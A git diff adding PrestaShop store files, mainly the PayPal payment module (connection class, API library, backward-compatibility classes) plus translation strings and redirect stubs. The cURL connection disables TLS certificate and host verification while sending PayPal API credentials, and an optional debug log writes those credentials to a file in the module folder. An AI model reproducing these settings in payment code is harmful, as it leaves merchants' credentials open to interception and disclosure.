?'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_f0698625adc9935b9a8d40eb128922c2'] = 'Si votre hébergeur autorise les fichiers .htaccess, vous pouvez en créer un à la racine de votre PrestaShop et insérer la ligne suivante :'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_54c5be2cbf4d4a829069fd28903507b0'] = 'Un utilisateur qui demande une page inexistante sera redirigé vers la page.'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_499066312cb6ca89c060f67dcad7c7a6'] = 'Ce module enregistre les accès à cette page avec : la page demandée initialement, la page source et le nombre de fois que c\'est arrivé.'; diff --git a/modules/pagesnotfound/translations/index.php b/modules/pagesnotfound/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/pagesnotfound/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/about.php b/modules/paypal/about.php new file mode 100755 index 0000000..09d4fa1 --- /dev/null +++ b/modules/paypal/about.php @@ -0,0 +1,42 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); + +include_once(dirname(__FILE__).'/paypal.php'); +include_once(dirname(__FILE__).'/backward_compatibility/Display.php'); + +$paypal = new PayPal(); + +$id_lang = (int)($cookie->id_lang ? $cookie->id_lang : Configuration::get('PS_LANG_DEFAULT')); +$iso_lang = Tools::strtolower(Language::getIsoById($id_lang)); + +$paypal->context->smarty->assign('iso_code', $iso_lang); + +$display = new BWDisplay(); +$display->setTemplate(_PS_MODULE_DIR_.'paypal/views/templates/front/about.tpl'); +$display->run(); diff --git a/modules/paypal/api/index.php b/modules/paypal/api/index.php new file mode 100755 index 0000000..2131c66 --- /dev/null +++ b/modules/paypal/api/index.php @@ -0,0 +1,33 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/api/paypal_connect.php b/modules/paypal/api/paypal_connect.php new file mode 100755 index 0000000..56f8832 --- /dev/null +++ b/modules/paypal/api/paypal_connect.php @@ -0,0 +1,141 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PayPalConnect +{ + private $_logs = array(); + private $paypal = null; + + public function __construct() + { + $this->paypal = new PayPal(); + } + + public function makeConnection($host, $script, $body, $simple_mode = false, $http_header = false, $identify = false) + { + $this->_logs[] = $this->paypal->l('Making new connection to').' \''.$host.$script.'\''; + + if (function_exists('curl_exec')) + $return = $this->_connectByCURL($host.$script, $body, $http_header, $identify); + + if (isset($return) && $return) + return $return; + + $tmp = $this->_connectByFSOCK($host, $script, $body); + + if (!$simple_mode || !preg_match('/[A-Z]+=/', $tmp, $result)) + return $tmp; + + return Tools::substr($tmp, strpos($tmp, $result[0])); + } + + public function getLogs() + { + return $this->_logs; + } + + /************************************************************/ + /********************** CONNECT METHODS *********************/ + /************************************************************/ + private function _connectByCURL($url, $body, $http_header = false, $identify = false) + { + $ch = @curl_init(); + + if (!$ch) + $this->_logs[] = $this->paypal->l('Connect failed with CURL method'); + else + { + $this->_logs[] = $this->paypal->l('Connect with CURL method successful'); + $this->_logs[] = ''.$this->paypal->l('Sending this params:').''; + $this->_logs[] = $body; + + @curl_setopt($ch, CURLOPT_URL, 'https://'.$url); + + if ($identify) + @curl_setopt($ch, CURLOPT_USERPWD, Configuration::get('PAYPAL_LOGIN_CLIENT_ID').':'.Configuration::get('PAYPAL_LOGIN_SECRET')); + + @curl_setopt($ch, CURLOPT_POST, true); + if ($body) + @curl_setopt($ch, CURLOPT_POSTFIELDS, $body); + @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + @curl_setopt($ch, CURLOPT_HEADER, false); + @curl_setopt($ch, CURLOPT_TIMEOUT, 30); + @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + @curl_setopt($ch, CURLOPT_SSLVERSION, defined(CURL_SSLVERSION_TLSv1) ? CURL_SSLVERSION_TLSv1 : 1); + @curl_setopt($ch, CURLOPT_VERBOSE, false); + + if ($http_header) + @curl_setopt($ch, CURLOPT_HTTPHEADER, $http_header); + + $result = @curl_exec($ch); + + if (!$result) + $this->_logs[] = $this->paypal->l('Send with CURL method failed ! Error:').' '.curl_error($ch); + else + $this->_logs[] = $this->paypal->l('Send with CURL method successful'); + + @curl_close($ch); + } + return $result ? $result : false; + } + + private function _connectByFSOCK($host, $script, $body) + { + $fp = @fsockopen('tls://'.$host, 443, $errno, $errstr, 4); + + if (!$fp) + $this->_logs[] = $this->paypal->l('Connect failed with fsockopen method'); + else + { + $header = $this->_makeHeader($host, $script, Tools::strlen($body)); + $this->_logs[] = $this->paypal->l('Sending this params:').' '.$header.$body; + + @fputs($fp, $header.$body); + + $tmp = ''; + while (!feof($fp)) + $tmp .= trim(fgets($fp, 1024)); + + fclose($fp); + + if (!isset($result) || $result == false) + $this->_logs[] = $this->paypal->l('Send with fsockopen method failed !'); + else + $this->_logs[] = $this->paypal->l('Send with fsockopen method successful'); + } + return isset($tmp) ? $tmp : false; + } + + private function _makeHeader($host, $script, $lenght) + { + return 'POST '.(string)$script.' HTTP/1.1'."\r\n". + 'Host: '.(string)$host."\r\n". + 'Content-Type: application/x-www-form-urlencoded'."\r\n". + 'Content-Length: '.(int)$lenght."\r\n". + 'Connection: close'."\r\n\r\n"; + } +} \ No newline at end of file diff --git a/modules/paypal/api/paypal_lib.php b/modules/paypal/api/paypal_lib.php new file mode 100755 index 0000000..a25cf1f --- /dev/null +++ b/modules/paypal/api/paypal_lib.php @@ -0,0 +1,113 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(_PS_MODULE_DIR_.'paypal/api/paypal_connect.php'); + +define('PAYPAL_API_VERSION', '106.0'); + +class PaypalLib +{ + + private $enable_log = false; + private $_logs = array(); + protected $paypal = null; + public function __construct() + { + $this->paypal = new PayPal(); + } + + public function getLogs() + { + return $this->_logs; + } + + public function makeCall($host, $script, $method_name, $data, $method_version = '') + { + // Making request string + $method_version = (!empty($method_version)) ? $method_version : PAYPAL_API_VERSION; + + $params = array( + 'METHOD' => $method_name, + 'VERSION' => $method_version, + 'PWD' => Configuration::get('PAYPAL_API_PASSWORD'), + 'USER' => Configuration::get('PAYPAL_API_USER'), + 'SIGNATURE' => Configuration::get('PAYPAL_API_SIGNATURE') + ); + + $request = http_build_query($params, '', '&'); + $request .= '&'.(!is_array($data) ? $data : http_build_query($data, '', '&')); + + // Making connection + $result = $this->makeSimpleCall($host, $script, $request, true); + $response = explode('&', $result); + $logs_request = $this->_logs; + + if ($this->enable_log === true) + { + $handle = fopen(dirname(__FILE__) . '/Results.txt', 'a+'); + fwrite($handle, 'Host : '.print_r($host, true)."\r\n"); + fwrite($handle, 'Request : '.print_r($request, true)."\r\n"); + fwrite($handle, 'Result : '.print_r($result, true)."\r\n"); + fwrite($handle, 'Logs : '.print_r($this->_logs, true."\r\n")); + fclose($handle); + } + + foreach ($response as $value) + { + $tmp = explode('=', $value); + $return[$tmp[0]] = urldecode(!isset($tmp[1]) ? $tmp[0] : $tmp[1]); + } + + if (!Configuration::get('PAYPAL_DEBUG_MODE')) + $this->_logs = array(); + + $to_exclude = array('TOKEN', 'SUCCESSPAGEREDIRECTREQUESTED', 'VERSION', 'BUILD', 'ACK', 'CORRELATIONID'); + $this->_logs[] = ''.$this->paypal->l('PayPal response:').''; + + foreach ($return as $key => $value) + { + if (!Configuration::get('PAYPAL_DEBUG_MODE') && in_array($key, $to_exclude)) + continue; + $this->_logs[] = $key.' -> '.$value; + } + + if(count($this->_logs) <= 2) + $this->_logs = array_merge($this->_logs, $logs_request); + + return $return; + } + + public function makeSimpleCall($host, $script, $request, $simple_mode = false) + { + // Making connection + $paypal_connect = new PayPalConnect(); + + $result = $paypal_connect->makeConnection($host, $script, $request, $simple_mode); + $this->_logs = $paypal_connect->getLogs(); + + return $result; + } +} diff --git a/modules/paypal/backward_compatibility/Context.php b/modules/paypal/backward_compatibility/Context.php new file mode 100755 index 0000000..5f1f360 --- /dev/null +++ b/modules/paypal/backward_compatibility/Context.php @@ -0,0 +1,347 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + require_once(_PS_MODULE_DIR_ . '/mobile_theme/Mobile_Detect.php'); + +// Retro 1.3, 'class_exists' cause problem with autoload... +if (version_compare(_PS_VERSION_, '1.4', '<')) +{ + // Not exist for 1.3 + class Shop extends ObjectModel + { + public $id = 1; + public $id_shop_group = 1; + + public function __construct() + { + } + + + public static function getShops() + { + return array( + array('id_shop' => 1, 'name' => 'Default shop') + ); + } + + public static function getCurrentShop() + { + return 1; + } + } + + class Logger + { + public static function AddLog($message, $severity = 2) + { + $fp = fopen(dirname(__FILE__).'/../logs.txt', 'a+'); + fwrite($fp, '['.(int)$severity.'] '.Tools::safeOutput($message)); + fclose($fp); + } + } + +} + +// Not exist for 1.3 and 1.4 +class Context +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + /** + * @ var Mobile Detect + */ + public $mobile_detect; + + /** + * @var boolean|string mobile device of the customer + */ + protected $mobile_device; + + public function __construct() + { + global $cookie, $cart, $smarty, $link; + + $this->tab = null; + + $this->cookie = $cookie; + $this->cart = $cart; + $this->smarty = $smarty; + $this->link = $link; + + $this->controller = new ControllerBackwardModule(); + if (is_object($cookie)) + { + $this->currency = new Currency((int)$cookie->id_currency); + $this->language = new Language((int)$cookie->id_lang); + $this->country = new Country((int)$cookie->id_country); + $this->customer = new CustomerBackwardModule((int)$cookie->id_customer); + $this->employee = new Employee((int)$cookie->id_employee); + } + else + { + $this->currency = null; + $this->language = null; + $this->country = null; + $this->customer = null; + $this->employee = null; + } + + $this->shop = new ShopBackwardModule(); + + if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + $this->mobile_detect = new Mobile_Detect(); + } + + public function getMobileDevice() + { + if (is_null($this->mobile_device)) + { + $this->mobile_device = false; + if ($this->checkMobileContext()) + { + switch ((int)Configuration::get('PS_MOBILE_DEVICE')) + { + case 0: // Only for mobile device + if ($this->mobile_detect->isMobile() && !$this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + case 1: // Only for touchpads + if ($this->mobile_detect->isTablet() && !$this->mobile_detect->isMobile()) + $this->mobile_device = true; + break; + case 2: // For touchpad or mobile devices + if ($this->mobile_detect->isMobile() || $this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + } + } + } + + return $this->mobile_device; + } + + protected function checkMobileContext() + { + return isset($_SERVER['HTTP_USER_AGENT']) + && (bool)Configuration::get('PS_MOBILE_DEVICE') + && !Context::getContext()->cookie->no_mobile; + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } + + /** + * @return int Shop context type (Shop::CONTEXT_ALL, etc.) + */ + public static function shop() + { + if (!self::$instance->shop->getContextType()) + return ShopBackwardModule::CONTEXT_ALL; + return self::$instance->shop->getContextType(); + } +} + +/** + * Class Shop for Backward compatibility + */ +class ShopBackwardModule extends Shop +{ + const CONTEXT_ALL = 1; + + public $id = 1; + public $id_shop_group = 1; + + + public function getContextType() + { + return ShopBackwardModule::CONTEXT_ALL; + } + + // Simulate shop for 1.3 / 1.4 + public function getID() + { + return 1; + } + + /** + * Get shop theme name + * + * @return string + */ + public function getTheme() + { + return _THEME_NAME_; + } + + public function isFeatureActive() + { + return false; + } +} + +/** + * Class Controller for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class ControllerBackwardModule +{ + /** + * @param $js_uri + * @return void + */ + public function addJS($js_uri) + { + Tools::addJS($js_uri); + } + + /** + * @param $css_uri + * @param string $css_media_type + * @return void + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + Tools::addCSS($css_uri, $css_media_type); + } + + public function addJquery() + { + if (_PS_VERSION_ < '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.4.4.min.js'); + elseif (_PS_VERSION_ >= '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.7.2.min.js'); + } + +} + +/** + * Class Customer for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class CustomerBackwardModule extends Customer +{ + public $logged = false; + /** + * Check customer informations and return customer validity + * + * @since 1.5.0 + * @param boolean $with_guest + * @return boolean customer validity + */ + public function isLogged($with_guest = false) + { + if (!$with_guest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if object password is the same as database one */ + if ($this->logged == 1 && $this->id && Validate::isUnsignedId($this->id) && Customer::checkPassword($this->id, $this->passwd)) + return true; + return false; + } +} diff --git a/modules/paypal/backward_compatibility/Display.php b/modules/paypal/backward_compatibility/Display.php new file mode 100755 index 0000000..309e857 --- /dev/null +++ b/modules/paypal/backward_compatibility/Display.php @@ -0,0 +1,48 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Class allow to display tpl on the FO + */ +class BWDisplay extends FrontController +{ + // Assign template, on 1.4 create it else assign for 1.5 + public function setTemplate($template) + { + if (_PS_VERSION_ >= '1.5') + parent::setTemplate($template); + else + $this->template = $template; + } + + // Overload displayContent for 1.4 + public function displayContent() + { + parent::displayContent(); + + echo Context::getContext()->smarty->fetch($this->template); + } +} diff --git a/modules/paypal/backward_compatibility/backward.ini b/modules/paypal/backward_compatibility/backward.ini new file mode 100755 index 0000000..6520fb7 --- /dev/null +++ b/modules/paypal/backward_compatibility/backward.ini @@ -0,0 +1 @@ +version = 0.4 \ No newline at end of file diff --git a/modules/paypal/backward_compatibility/backward.php b/modules/paypal/backward_compatibility/backward.php new file mode 100755 index 0000000..21f9eb4 --- /dev/null +++ b/modules/paypal/backward_compatibility/backward.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Backward function compatibility + * Need to be called for each module in 1.4 + */ + +// Get out if the context is already defined +if (!in_array('Context', get_declared_classes())) + require_once(dirname(__FILE__).'/Context.php'); + +// Get out if the Display (BWDisplay to avoid any conflict)) is already defined +if (!in_array('BWDisplay', get_declared_classes())) + require_once(dirname(__FILE__).'/Display.php'); + +// If not under an object we don't have to set the context +if (!isset($this)) + return; +else if (isset($this->context)) +{ + // If we are under an 1.5 version and backoffice, we have to set some backward variable + if (_PS_VERSION_ >= '1.5' && isset($this->context->employee->id) && $this->context->employee->id && isset(AdminController::$currentIndex) && !empty(AdminController::$currentIndex)) + { + global $currentIndex; + $currentIndex = AdminController::$currentIndex; + } + return; +} + +$this->context = Context::getContext(); +$this->smarty = $this->context->smarty; diff --git a/modules/paypal/backward_compatibility/index.php b/modules/paypal/backward_compatibility/index.php new file mode 100755 index 0000000..b856f56 --- /dev/null +++ b/modules/paypal/backward_compatibility/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/br.php b/modules/paypal/br.php new file mode 100755 index 0000000..739424b --- /dev/null +++ b/modules/paypal/br.php @@ -0,0 +1,133 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'Paypal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Aceita pagamentos por cartão de crédito (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) com Paypal.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Você tem certeza que você quer deletar seus dados?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Você deve definir suas credenciais do PayPal Integral, para que o tema de telefonia móvel funcione corretamente.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_bd6b3cca1e559117a964cdfab6a977cf'] = 'O tema de telefonia móvel somente funciona com o módulo de pagamento Paypal neste momento. Por favor, ative o módulo para permitir pagamentos. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_ea5eb3f904bf42377277255cbd0e2251'] = 'Para funcionar corretamente o módulo requer o módulo de compatibilidade com versões anteriores habilitado'; +$_MODULE['<{paypal}prestashop>paypal_abstract_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Para funcionar corretamente o módulo requer pelo menos o módulo de compatibilidade com versões anteriores v'; +$_MODULE['<{paypal}prestashop>paypal_abstract_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Para usar o módulo você precisa instalar o módulo de compatibilidade com versões anteriores.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d739f6e2d6351c3a587d44190a8253af'] = 'Todos recursos do módulo API do Paypal estão incluídos no novo módulo Paypal. Para que não haja nenhum conflito, por favor, não use e remova o módulo PaypalAPI.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Fundos foram recuperados.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'Sem sucesso na recuperação dos fundos solicitados. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'Validação bem sucedida. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Reembolso foi efetuado.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'Reembolso solicitado sem sucesso. Por favor, veja mensagem de registro!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Resultado de cancelamento de produtos:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_90ab0cfd410722553c79e614207a789a'] = 'Alguns campos estão vazios.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Campos de credenciais não podem estar vazios'; +$_MODULE['<{paypal}prestashop>paypal_abstract_3f7145179c909f0e87a911a3171986b6'] = 'Campo para e-mail comercial não pode estar vazio'; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'Mensagem de pagamento não é válida, por favor verifique seu módulo.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Não é uma moeda válida'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Resultado de operação de reembolso:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Reembolso do Paypal efetuado com sucesso!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erro de transação!'; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Resultado de operação de captura:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Terminado o pedido com Paypal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Status de verificação:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Você está usando o e-mail padrão que vem com o Paypal, por favor coloque seu próprio e-mail.'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = 'Problema conectando com o servidor do Paypal.'; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Conexão usando cURL falhou'; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Falha na verificação (usando cURL). Retornou:'; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Falha na verificação (usando fsockopen). Retornou:'; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'Sem transporte de comunicação disponível.'; +$_MODULE['<{paypal}prestashop>validation_2818bed1f235637049f4d46fd455dc1c'] = 'A chave Paypal \'mc_gross\' não foi especificada, não pode controlar a quantia paga.'; +$_MODULE['<{paypal}prestashop>validation_be59cbfbf305dc45cd0c3e9841b17ecf'] = 'A chave Paypal \'payment_status\' não foi especificada, não pode controlar a validade de pagamento'; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Pagamento:'; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'A chave Paypal \'custom\' não foi especificada, não pode transmitir ao carrinho'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'A chave Paypal \'txn_id\' não foi especificada, transação desconhecida'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'A chave Paypal \'mc_currency\' não foi especificada, moeda desconhecida'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = 'Carrinho não foi encontrado'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Pedido já foi feito'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'ID de Transação Paypal: '; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'A transação do Paypal não pode ser VERIFICADA.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Fazendo nova conexão com'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Falha ao conectar com método CURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Conexão com método CURL com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Enviando este params:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Envio com método CURL falhou! Erro:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envio com método CURL com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Conexão com método fsockopen falhou'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Conexão com método fsockopen com sucesso'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Envio com método fsockopen falhou!'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envio com método fsockopen com sucesso!'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Resposta do Paypal'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Não é uma moeda válida'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Papel de presente'; +$_MODULE['<{paypal}prestashop>submit_1e97d97a923eaddd810e056c828e99ea'] = 'Erro no pagamento'; +$_MODULE['<{paypal}prestashop>submit_7ef8c0c75056a5d1f988e352efcd0f09'] = 'Este produto não está mais em estoque com estes atributos mas está disponível com outros'; +$_MODULE['<{paypal}prestashop>submit_d141a42a5e72c871a3116414bb5c64c1'] = 'Não é possível criar novo carrinho'; +$_MODULE['<{paypal}prestashop>submit_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Ocorreu um erro:'; +$_MODULE['<{paypal}prestashop>submit_58f53d0306ffc9cc9820eab866e90efe'] = 'Erro durante a preparação do pagamento express checkout'; +$_MODULE['<{paypal}prestashop>submit_51da74120dd5e11817ef21e27d2599bc'] = 'Não foi possível criar cliente'; +$_MODULE['<{paypal}prestashop>submit_bcf08b34ab427cb871635151c6976eb0'] = 'Não foi possível criar endereço'; +$_MODULE['<{paypal}prestashop>submit_ca5cecfc8fd8e585ba1e684757168158'] = 'Não foi possível atualizar o carrinho existente'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento aceito.'; +$_MODULE['<{paypal}prestashop>submit_28060413b9f346d871b633018d03c7b0'] = 'Preço pago no Paypal não é o mesmo que no PrestaShop.'; +$_MODULE['<{paypal}prestashop>submit_98825385aadb1d0dd0fd133ef8acd23d'] = 'Não é possível criar pedido'; +$_MODULE['<{paypal}prestashop>submit_085b78e060c3ef4cc37bd25abd06ff66'] = 'Carrinho mudou desde o último checkout express, por favor faça um novo pagamento no checkout Paypal'; +$_MODULE['<{paypal}prestashop>notifier_28060413b9f346d871b633018d03c7b0'] = 'Preço pago no Paypal não é o msmo que no PrestaShop.'; +$_MODULE['<{paypal}prestashop>notifier_572f9af7615560af2cba038cc1948287'] = 'Carrinho mudou, por favor entre dados novamente.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento aceito.'; +$_MODULE['<{paypal}prestashop>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Erro!'; +$_MODULE['<{paypal}prestashop>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Captura Paypal'; +$_MODULE['<{paypal}prestashop>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Fundos prontos para serem capturados antes do envio'; +$_MODULE['<{paypal}prestashop>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Obter o dinheiro'; +$_MODULE['<{paypal}prestashop>refund_8ba079f305b81b172792bc0469b6a690'] = 'Reembolso Paypal'; +$_MODULE['<{paypal}prestashop>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>refund_016e1f278eccd700eaf33f74a501d050'] = 'Pagamento aceito'; +$_MODULE['<{paypal}prestashop>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Quando você reembolsa um produto, um reembolso parcial é feito a menos que você selecione \"Generate a voucher\".'; +$_MODULE['<{paypal}prestashop>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Reembolso total da transação'; +$_MODULE['<{paypal}prestashop>refund_729a51874fe901b092899e9e8b31c97a'] = 'Você tem certeza?'; +$_MODULE['<{paypal}prestashop>validation_b630aa9b5e25da971949cae62dd109aa'] = 'Validação Paypal'; +$_MODULE['<{paypal}prestashop>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informação:'; +$_MODULE['<{paypal}prestashop>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Captura Pendente - Sem meio de envio'; +$_MODULE['<{paypal}prestashop>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Pagamento Pendente - Sem meio de envio'; +$_MODULE['<{paypal}prestashop>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Obtenha o status do pagamento'; 